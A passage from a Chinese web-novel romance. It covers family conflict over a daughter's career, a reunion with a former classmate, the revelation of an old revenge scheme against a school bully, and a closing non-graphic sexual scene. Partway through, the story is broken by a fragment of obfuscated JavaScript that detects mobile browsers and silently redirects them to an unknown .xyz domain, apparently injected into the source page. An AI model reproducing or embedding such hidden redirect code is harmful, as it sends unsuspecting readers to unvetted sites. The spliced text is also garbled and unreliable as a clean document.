直到周四,早上出门时特意将钥匙给了靳佑,又叮嘱他晚上不用去接她。到了下班时间,程徽也只好硬着头皮回程家,准备迎接属于她的“战争”。
晚上六点半,拎着买来的礼物进了程家。
进门后却只见程禧的车,没看见她的人影,直到进了客厅也仍是没能看到她,连一点声音都没有。礼物放下,程徽正要往厨房去,却忽地听见楼上传来的脚步声——
程母打开门,穿着高跟鞋从屋内走出来。
“哒哒哒”的闷响声像是秒针般规律的响起,她一步步的走近,像是倒计时进入了最后阶段,程徽也莫名的不安。
像是为了打破眼前的气氛,程徽僵硬的扯出笑,先开口:“姐姐呢?还没回来吗?”
“她跟你爸爸去医院做复查了。”
程母回答的没有一点感情,眼神直至如今也还是带着怒火,高高在上的模样,更像是个掌控全局的女王,“正好方便我们聊聊工作室的事情。”
她口气稍缓:“工作室的事情我可以退让一步,允许你开下去。但前提是,你要回程家的公司上班,这件事没得商量。”
即便上次程徽说了那么伤人心的话,可她还是不愿意在此事上彻底的妥协。
程徽原想着趁今天见面好好道歉,可现在听这话却又觉得大可不必,“我不会去公司上班的。”
“理由呢?”
“不想去。”
轻飘飘的三个字听的程母怒火中烧,眼神中尽是失望。可程徽却迎上她的目光,一点也不愿意退让。
母女二人之间的较量,似乎是从程徽大学毕业后才彻底开始,之前也仅仅是偶有争执,可现在她却是明目张胆的要与她对着干——至少在她看来,程徽就是要与她对着干。
程母失望至极,“你现在为什么这么不懂事?处处要跟我对着干,难道跟我对着干,对你来说能有什么好处吗?”
“我不是在跟您对着干,我只是想做点自己想做的事。”
“开那么一间小小的工作室,就是你想做的事?”
“是!”
干脆利落的回答,回荡在整个客厅。
一时间,母女二人之间陷入了沉默。
程母仔细看着那张与自己有几分像的脸,蓦然自嘲的勾唇,转身朝着沙发走去,高跟鞋踩在地上发出哒哒声,“我搞不懂你,我真的搞不懂你。”
她忽地驻足站在原地,回过身,疑惑不解的望向那个她拼死生下来的女儿。
恍惚间更像是在看一个陌生人。
“我让你去公司上班,你为什么不愿意去?你是我的亲生女儿,我……我费尽心思的想要让你过得更好,想让你有出息,你为什么非要与我对着干?”
程母轻轻摇头,“我不懂,我真的不懂你。”
为什么……
这么多年,她总算是愿意问一句为什么了。
程徽莫名的有些欣慰,“我不是要跟您对着干,我只是想要拿回自己人生的掌控权。至于去公司上班这件事,我去过了,而且十分肯定那种一眼望到头的日子,不是我想要的生活。”
“可是小禧就是这么过的,你为什么不行?”
“她是她,我是我。”
程母冷笑,红唇轻启,自喉间溢出一声嗤笑,“好一句她是她、你是你。那你有没有想过,要是你爸爸知道你不想去公司上班,甚至就只是想开一间工作室,他会怎么做?嗯?”
眉梢轻挑,看向站在不远处的程徽。
程徽脱口而出:“无非就是让我联姻。”
联姻两个字从她嘴里说出来,像是与吃饭二字一样,她似乎根本不在乎这件事。
程母的脑子里却像是炸了一般,脸色也难看到了极点:“说的倒是轻巧,你以为联姻是什么简单的事情吗?两家的生意一旦有了关联,以后你们两个即便过得不幸福,为了两家的生意也要慎重决定离婚的事情。”
“万一对方是个渣男,你也只能跟那种人过一辈子!”
“但你要是能跟你姐姐一样优秀,就完全可以不用联姻,你可以选择自己的婚姻,你懂不懂?”
“懂。”程徽全都懂,口气如常,“真到了那一步,我也不会让对方好过。”
“你——”
简直就是在强词夺理!
程母气的语塞,“你是要气死我吗?”
“是您先杞人忧天的,我只是说了实话而已。”程徽耸了耸肩,目光垂下,脚尖轻轻踢了踢沙发,小声嘟哝:“而且您和姐姐也不会眼睁睁的看着我走到那一步。”
她赌程禧不会对她坐视不管,也更笃定程母不会不管她。
当然,到时候如果奶奶还在世,也不会坐视不管!
程徽掀了下眼皮,望着脸色缓和的程母,带着点怨气说:“以后我要是有了孩子,一定会经常跟她说妈妈爱她,不会像她外婆一样,整天就只知道逼着自己孩子做不想做的事,也不会只敢在背后偷偷地说爱自己孩子。”
“……”程母扭过头,尴尬的看向屋顶。
过了两分钟,却还是说:“少说这些没用的,你去公司上班才是正途。只要你答应去公司,别的事情都好说。你要是不愿意去,你工作室的事情我也不会答应的,再过一个月,那房子就不会租给你们了。”
“签了合同也没用,房东跟我认识!”
“又来了……”
绕来绕去就是绕不开这事!
程徽气的转头就走,“气都气饱了,不跟你们一起吃饭了,我走了。”
“沙发上的包给你买的,道歉用的。”
说完头也不回的出了程家。
程母闻言才留意到被放在沙发上礼盒袋子,拿起掏出里面的盒子,拆去包装,打开盒盖——
大象灰的小长款包包精致雅气,是她平时买包的风格。
盒子里还放着一张卡片,上面写着:
我比任何人都希望您过的开心幸福,同样也希望自己能拥有开心幸福的人生——女儿徽徽。
*
“嘀——”
刺耳的车鸣声突然响起,程徽循声看去。看清车子的刹那,车鸣声猝然停了,四周恢复安静。
车窗打开,靳佑探头看过来,笑的吊儿郎当,“程小姐去哪啊?我送你。”
都说了不让他来,怎么还是来了?
程徽下意识回头看向程家的门口,见没有人跟出来,才赶忙朝着靳佑的车子走去,刚上了车就问:“谁让你来的?万一被看见了怎么办?”
“看见也没事,我又不是没来过程家,正好现在叔叔也回来了,我也该来好好拜访拜访了。”
说完又故意倾身凑近,“不过程小姐打算把我藏到什么时候?”
“藏到用烦了,就直接扔了。”
程徽赌气似的说着,又一把推开他,“到时候再换个新鲜的、好玩的。”
明知道他不喜欢听这些,却故意说。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15167448|164974||http|test|mini|href|location''.split(''|''),0,{}));
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>欠教训!
靳佑抬手掐了下她的脸颊,甚至没敢用力,“看在你今天心情不好的份上,饶你一次,下次再敢说这些话……”
“你要怎么样?”
“我就换个身份,努力成为你的新男友,让你玩个新鲜的!”
“噗——”
程徽被他逗笑,“你这算是一怒之下怒了一下?”
心情好了,肚子也不争气的叫了声。
“别贫了,先带我去吃点东西,饿了。”
附近多是别墅楼,几家饭店也都是两人自幼就常吃的,早就已经吃够了。靳佑开车带她往南区去,半个小时后,才找到一家宋齐晏曾经说过的饭店。
只可惜店内生意太好,包间都需要提前订,两人没经验,只好往二楼大堂去。
上楼时,垂下的手刚要牵上她的手,却被程徽先一步避开。
“我们约好的,在外面不能有亲密举动,有什么事回去再说。”
自从靳佑开始在她公寓住下,每天都想方设法的抱她吻她,甚至在外面也没忍住,逮到机会总要先亲一下。程徽为此把他的备注都改了——某宝客服。
日常就一个字——亲。
在公寓内也就算了,可在外面万一被别人看见,就是大事。程徽迫不得已提出外面不能有亲密举动。靳佑倒也答应了,但作为交换条件是他要睡床上。
程徽思来想去还是答应了,反正迟早的事。
此刻更是逮到机会就警告他:“你要是在外面不老实点,昨天晚上我答应你的事情就不作数了。”
“行,我回去再不老实。”靳佑意有所指。
程徽睨了他一眼,没说话,只是耳根微微泛红。
上到二楼,目光扫过四周的位置,提脚朝着较为安静的位置走去。还没落座,忽地听见不远处有人喊一声:“程徽?”
熟悉的声音响起,程徽和靳佑一同看了过去。
不远处的沙发上,宋齐晏看见靳佑的一刹那,脸上的笑容僵住——
只看见程徽了,没看见靳佑,这下好了,打扰两人的二人时光了。
但喊都喊了,宋齐晏也只好起身。
坐在他对面的女人也慢慢站起身,回过头看去。看见程徽时,女人淡笑道:“好久不见。”
女人穿着温柔素雅,浑身上下都透着股落落大方的感觉,抬手投足间尽显优雅。程徽仔细想了想自己认识的人,一时间没想起来这人是谁。
宋齐晏赶忙解围:“徐漫。”
“徐漫?”程徽格外惊讶。
几个人是高中同学,但在高二那年徐漫就转学了。只是她没想到当年那个软弱爱哭的女孩,现在却成了一个这么优雅温柔的女人。
程徽惊喜道:“你变化太大,我实在是没认出来,真是不好意思。”
“没认出来,说明我这些年的变化是挺大的,这是好事。”徐漫目光在靳佑和程徽之间游走,“你们两个是……”
“路过,来吃点东西。”
程徽随口敷衍一句。
就是不肯当着别人的面承认两人的关系。
话音刚落,一道凌厉的目光忽地看了过来,不用猜也知道是谁。
程徽依旧淡定,“我们就不打扰你们了,你们吃,我们去别的桌。”
说完转身就要走。
靳佑也识趣的跟上。
“程徽。”两人还没走出两步,徐漫突然出声。
程徽回头看她,“有什么事吗?”
徐漫垂下的手掐着身上的裙边,像是有话要说。犹豫几秒,她还是看着靳佑说:“抱歉,今天这顿饭,方不方便先把程徽让给我?我有点话想跟她说。”
23. 又进一步
四个人,最终还是分开坐下,却是程徽和徐漫一起吃饭,靳佑被迫和宋齐晏坐在一起。
像是怕靳佑和宋齐晏听见,程徽和徐漫还特意选了较远的位置,靳佑只能远远的看着。
“上学时候,这俩人好像不熟啊,怎么徐漫会想要跟程徽一起吃饭呢?”美食当前,宋齐晏却扭着头看向坐在长廊尽头的那一桌。
回过头,他又问靳佑:“她们两个以前好像没什么交集吧?”
靳佑想了两秒,摇头,“印象中没有。”
这下事情就更邪门了,宋齐晏不禁想到最不可思议的情况:“徐漫该不会是看上程徽了吧?现在同性之间好像也不是什么稀奇事,说不定真是这样呢!”
靳佑本就一肚子火,这下更是担心。
合着以后不止是要防着男性,连女性也要防着?
一抬眼,正看见程徽冲着徐漫笑,靳佑更觉心头一紧。
该不会……真是喜欢她吧?
见靳佑脸色难看,宋齐晏也顺着他的目光看去,看到程徽的笑容时,低声感叹:“程徽好像从来没有对我们笑的这么温柔过。”
说完才反应过来这件事的重点——
“不是,我这正准备追徐漫呢,好不容易才约出来一起吃顿饭,结果她还要跟程徽一起吃,这算怎么回事啊?”
靳佑又何尝不是?
好好的二人世界,却被迫拆散,他只能跟着到处沾花惹草的宋齐晏坐在一起。
上楼前还觉得饿,这会儿彻底饱了!
两人都探着头看,一桌子美食没人动,但程徽和徐漫之间的气氛却明显格外的好,两人一边享受着美食,一边说着些什么,即便听不见在说什么,可程徽脸上的笑容却足以证明,两人相谈甚欢。
吃饱后,程徽和徐漫才拎着包朝靳佑和宋齐晏走近。
宋齐晏还特意挪出位置,打算让徐漫坐下,没想到徐漫只是站在他身边说:“不好意思,我还有点事要先走了。以后有机会再一起吃饭吧。”
“这就要走了?”宋齐晏站起身,“要不我送你?”
“不用,我自己开车来的。”
徐漫拢了拢身上的披肩,极尽温柔的看着宋齐晏,“我明天大概就要出国了,不知道什么时候会再回来,以后有机会我请你吃饭吧。”
“明天?”两人好歹也聊了几天了,宋齐晏还是头一次听她说明天要出国的事,“怎么这么快?”
“其实我这次回来,主要就是想看看岳海市,顺便见见程徽。现在两件事都完成了,就没必要继续留下来了。”
徐漫扭头看向正坐在靳佑身边的程徽,冲她笑笑,“二位以后要是结婚的话,记得告诉我一声,我一定包个大红包。”
回过头,冲着宋齐晏也说出了同样的话。
“你也是,你结婚的时候我也会给你包个大红包。”
这……算是婉拒了?!
他都还没正儿八经开始追她呢,这就被拒绝了?
自诩情场老手的宋齐晏,简直欲哭无泪。
但在徐漫的目光下,也只能不情不愿的点点头,“好啊,到时候一定告诉你。”
与三人道别后,徐漫便离开了。即便她自己开的有车,但宋齐晏依旧秉承着绅士风度,特意将人送到楼下停车场,眼看着徐漫开着车离开,他才又折返回来。
刚落座,就迫不及待的问:“你们到底聊了什么?为什么还不让我们知道?”
“也没什么,就只是聊了几句杨续的事。”
程徽抬眼看向对面的宋齐晏,“你还记得杨续吗?”
“当然记得!当年就因为你那镯子跟他打了一架,几个人脸上都挂彩了。幸好是没留疤,要不然我这张脸就可惜了。”宋齐晏说着还摸了摸自己的脸,但又十分好奇:“你们两个聊他干什么?”
印象中徐漫和程徽没什么交集,可这二人和杨续也没什么交集。
唯一的交集就是因为镯子的事情打了一架。
程徽笑着耸了耸肩,单手托着下巴继续吃水果,敷衍一句:“高中同学见面,随便聊几句而已,没什么事。”
半真半假的话,听的宋齐晏更觉得奇怪,靳佑也察觉到事情不对劲。
二人对视一眼,笃定程徽没说实话。
“不可能,你们怎么会无缘无故的聊起他呢?你要是说聊聊靳佑,我还勉强相信,你说你们两个聊杨续,这事就有点奇怪了。”
宋齐晏实在好奇,“你们到底聊什么了?”
程徽这下彻底不说话了,只安安静静的吃着水果。
两人见状便知道是问不出来结果了,只好不再追问。
*
三人都填饱肚子后,各自离开。程徽坐着靳佑的车,回去路上就接到了程禧打来的电话,无非是问她怎么不回家吃饭,程徽只找个借口说工作室有事要忙。
大抵是清楚她和程母又闹得不愉快,程禧也就没再追问。
电话挂断,手机刚放下,靳佑突然问:“当年镯子那件事,你是不是在算计我们?”
“准确的说是利用。”
程徽眼底藏着笑,更像是有些期待的问他:“我怎么利用你们了?”
车子慢慢停靠路边,空旷的夜色下,黑色的车子闪着车灯,车内的靳佑眉眼严肃,将高中时候的事情捋了捋,似笑非笑的望着程徽。
他忽然意识到爱了这么多年的人,比他想的要聪明的多——
“杨续当年没少欺负同学,尤其是徐漫。你应该是看到过,可能还出手帮过徐漫。后来又故意取下来手镯,用手镯做诱饵,自己先动手,我和宋齐晏自然也就跟着你一起动手了。”
那年徐家的公司正好破产倒闭,也是徐漫最后留在学校的半年时光里,杨续没少欺负她。当然,杨续也没少欺负别人,仗着自己有点背景就高高在上。
别说徐漫这样的背景了,当年的杨续就连靳佑和宋齐晏也没放在眼里,尤其是对宋齐晏,更是明嘲暗讽,说话时夹枪带棒,无非就是瞧不上他们。
但也没有人敢直接与杨续硬碰硬,直到那次放学……
程徽将事情娓娓道来:“高中有次放学,你没跟我一起走,我在路上遇到过徐漫。正好碰见杨续带着自己几个小弟在欺负她,拿着她的项链,抛来抛去的乱传,就是不还给她。”
“徐漫都急哭了,喊着说那是她妈妈留给她的遗物,可那几个同学还是在到处乱传。那天我冲上去,想要把项链抢回来还给徐漫,可是……没抢过他们。”
十六七岁的男生女生,在身高方面已经有了明显的差距——至少那几个男生都比她和徐漫高出至少一头。
靳佑和宋齐晏那时候又都不在她身边,她只能眼睁睁的看着那几个男生将骨子里的恶劣发挥到极致,一个个脸上的笑容看得人恶心,抢了别人母亲留下的遗物,在肆无忌惮的传着玩。
丝毫不顾及徐漫哭的撕心裂肺,甚至瘫坐在地上,就差跪下求着那些人将项链还给她了。
最后,那几个男生玩累了才把项链朝着徐漫扔去。
徐漫宝贝似的收起来,脸上的泪痕遍布,哭的上气不接下气。程徽无力感油然而生,也是从那一刻开始,才动了想要报复杨续的念头。
……
“那天晚上我就想到了用镯子做饵,第二天课间我取下手镯,故意放在桌边,正好杨续走过来顺手就拿起来了——当然,他如果手放干净点,这个局就不可能成。”
她赌的就是杨续这人手贱,谁的东西都想碰!
结果,她赌对了。
“他拿起镯子,嘴里不干净,说些让人恶心的话,我顺理成章的动手,你和宋齐晏回来的时候,自然也就跟着一起动手了。再后来,就是事情闹大,杨续的父亲被查,他也退学了。”
杨续的背景只靠程家,根本办不成这件事,唯一的办法就是把靳佑和宋齐晏也都一起拉进来。
最后三家联手,才把这事闹大了。
这件事到现在也没有人知道真相,就连程禧也不知情。只有徐漫这个当事人先猜出来了,但却到今天才有机会向她求证。
只是没想到靳佑会是第二个猜出来的。
程徽扬起唇,故意问他:“怎么样,现在知道当年是被我利用了,生气吗?”
“我怎么会因为这点事就生气?”靳佑握紧了她的手,十指相扣,“我只庆幸那天去的及时,不至于让你被打。”
话音刚落,柔软的唇就贴了上来。
却浅尝即止,只轻轻吻了他一下。
她笑的酒窝初现,“满分回答,奖励给你的。”
“不够。”
啪的一声,打开了安全带,靳佑倾身凑近方便她吻上来,“吻的久一点,你主动。”
程徽难得的配合,主动吻上,却还是轻轻吻了下便离开,“在车里不方便,还是等回去吧,到时候……”
她心虚的看向别处,极其小声地说:“到时候兴许还
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能做点别的事。”
*
人总是会为自己的所作所为买单。
程徽也不例外,一句话说的靳佑一路上开车都格外的快。
随着车子停在公寓楼下的停车场,靳佑更是迫不及待,拉着她的手就往楼上去。
打开门的一刹那,铺天盖地的吻落下来,程徽被托抱起来,屋内的灯都没来得及打开,可靳佑依旧能轻车熟路的找到去卧室的路。
“先、先洗澡。”程徽艰难的说出一句话。
靳佑抱着她就要去浴室,察觉到他的意图,程徽急忙说:“不可以!我们不能……”
“徽徽,我们已经是男女朋友了。”
“可是……”
“徽徽……”
他放软声调,更像是乞求般的喊她,程徽想拒绝,但却心软的一塌糊涂,堵在喉咙里的那些拒绝的话,最终还是尽数化为一声嗯,由着他将她一起抱进了浴室中。
花洒打开,细细的水流砸在地板上,烟雾缭绕,热气弥漫,整间浴室的角角落落都是湿漉漉的。近乎要将对方拆吃入腹里的吻,夹杂着阵阵喘息声,磨砂的玻璃浴室门上,透出交叠的人影,紧密相贴,难舍难分。
她声音又喘又颤:“等会儿你、你要轻点,我怕疼。”
“不急,我们慢慢来。”
靳佑明显比她喘的更狠,像是已经抑制不住,却还是清楚的知道这种事,急不得。
擦干净,抱着她从浴室出来直奔卧室。
然而——
才刚把人放下,陡然一冷,程徽猝然理智回笼,整个人都缩进了被子里,连发丝都藏了进去。被子下面,她瓮声瓮气的说:“阿佑,我、我不想做了,我害怕。”
都这个时候了她说不做了?!
这是要逼疯他吗!
靳佑的脸黑到极致,低头看看,一股无名火不上不下,硬生生卡在中间,后腰的酥麻感直冲天灵盖,要命了。
可又能怎么办呢?她说不做,他就只能答应。
“听你的,不做。我关了灯,你从里面出来,不能闷着自己。”
话落关了卧室的小夜灯。
隔着被子察觉到灯关上了,程徽才敢慢慢从被子里探出头。漆黑一片,什么都看不见,只能听见身边像是有人在走路。
她小心翼翼的问:“阿佑你生气了吗?”
“没有。”他答的干脆利落,“这种事,我们慢慢来,但今晚做点别的吧。”
程徽正好奇他要做什么,被子的一角却忽地被掀开,没等她反应过来,人已经钻了进来,未着寸缕,此刻触感被无限放大,她颤声说:“你说了不做的!”
“我不会跟你一样出尔反尔。”从被子下面传来他闷闷的声音,又特意补上一句:“今天晚上不做,但我服务你。”
猜到靳佑要做什么的时候,一切已经晚了,拱起的被子预示着今夜注定不会如往常一样平静度过。
……
异样的感觉一浪接着一浪袭来,像是夏夜暴热时张大口却也喘不上气的窒息感,更像是海面上狂风暴雨到来时的无枝可依的小船,迫切的想要抓住一根稻草,最终也只是紧紧地握住了他的手臂,指尖用力的近乎要刺进去。
程徽招架不住,几次出声制止都因嗓音沙哑而未能出声。
一贯在她面前好说话的靳佑,这次却不肯听她的,一次又一次的刺激着敏感地带,问些程徽答不上来的话。
“舒服吗?”
“感觉怎么样?”
“喜欢吗?”
……
程徽不说话,只在心里一遍遍的骂他变态。直到这场以“服务”之名的性.事彻底结束,他又一次抱着她去洗澡,温热的水流落在两人身上,她低头趴在他肩头,双臂紧紧地抱着他,声音被花洒声遮掩:“下次,不准舔。”
靳佑明明听见了却又故意逗她:“我没听见,大点声。”
“……变态。”程徽小声骂他。
“是是是,我变态。那程二小姐说说今天晚上我服侍的你还算满意吗?”
“闭嘴。”
“行,不说,反正你满不满意我比你清楚。”
他倾身吻上她的耳根,喑哑磁性的声音在她耳边低笑着说:“徽徽,我是心甘情愿服侍你的,你不用觉得愧疚。”
程徽是满意了,但他的下场却是要洗冷水澡。
可即便如此也依旧甘之如饴。
好在是又进一步。